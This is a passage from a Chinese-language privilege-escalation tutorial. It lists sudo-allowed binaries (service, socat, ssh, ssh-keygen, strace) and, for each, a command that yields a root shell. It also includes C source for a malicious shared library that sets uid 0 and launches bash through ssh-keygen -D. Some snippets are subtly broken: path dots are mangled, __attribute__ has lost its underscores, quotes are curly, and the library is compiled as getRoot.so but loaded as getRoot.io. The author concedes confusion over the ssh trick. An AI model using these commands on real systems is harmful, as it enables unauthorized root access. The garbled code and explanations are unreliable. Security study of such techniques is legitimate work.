运行如下命令即可提权:
sudo service …/…/bin/bash
本质上就是利用service的高权限启动bash的服务,需要注意的是两个…/ ,由于service启动服务并不是通过相对路径或绝对路径,返回上两级目录才能保证service的搜索范围内能够找到bash。
sudo socat
利用前提
当前用户可以以sudo高级权限运行socat,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/socat
利用详情可见socat | GTFOBins,socat是一个多功能的网络工具,可以用来建立双向的数据传输通道。
操作方式
运行如下命令即可提权:
sudo socat stdin exec:/bin/bash
socat可以通过stdin参数作为标准输入来执行命令,此处执行启动bash的命令,其中exec:/bin/bash这种格式是socat的语法。
sudo ssh
利用前提
当前用户可以以sudo高级权限运行ssh,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/ssh
利用详情可见ssh | GTFOBins ,ssh是渗透过程中非常常见的远程登录突破口。
操作方式
运行如下命令即可提权:
sudo ssh -o ProxyCommand=‘;bash 0<&2 1>&2’ x
ssh中的参选项ProxyCommand表示用一个代理服务器连接到远程主机,是在进行ssh操作之前就执行的命令,此处正是利用这个机制进行提权。-o表示option,引出ProxyCommand,';bash 0<&2 1>&2’是核心的提权逻辑,启动bash后对输入输出进行了重定向,但如果仅仅这样写(不加分号的话),引号中的内容会作为ssh的通道,完成代理服务,此时在ssh进行密钥交换的时候会无法与主机通信导致错误。分号就是起了这样的作用,分号的前面隐含了一个空语句,空语句一定能执行成功,只有分号前面的语句执行成功时后面的提权命令才会执行,这是bash的逻辑。最后的x就表示要连接的主机,随便写个啥都行,只要参数不空即可。说的有点绕,我自己也没完全理解清楚,回头再查一查。
sudo ssh-keygen
利用前提
当前用户可以以sudo高级权限运行ssh-keygen,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/ssh-keygen
利用详情可见ssh keygen | GTFOBins。
操作方式
ssh-keygen有选项-D,用来指定动态链接库,在ssh-keygen执行的时候加载和使用,我们可以在动态链接库中添加提权逻辑。构造一个文件,写入提权逻辑,并按照动态链接库的方式进行编译。首先将提权逻辑写成一个动态链接库,我们可以直接vim getRoot.c 。内容如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//指定静态无返回值的函数,设置属性constructor
static void inject()attribute((constructor));
void inject(){
//设定uid为0,即root
setuid(0);
system(“/bin/bash -p”);
}
对此.c文件进行编译,使用共享库的编译方式,输出.so文件:
gcc -shared -fPIC -o getRoot.so getRoot.c
此时通过-D参数利用共享库文件getRoot.so即可提权:
sudo ssh-keygen -D ./getRoot.io
注意此时getRoot.io必须给出路径,否则会找不到共享库文件,因为默认情况寻找共享库会在环境变量LD_LIBRARY_PATH寻找共享库,而环境变量中并没有我们编写的这个共享库文件。
sudo strace
利用前提
当前用户可以以sudo高级权限运行strace,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/strace
利用详情可见strace | GTFOBins,strac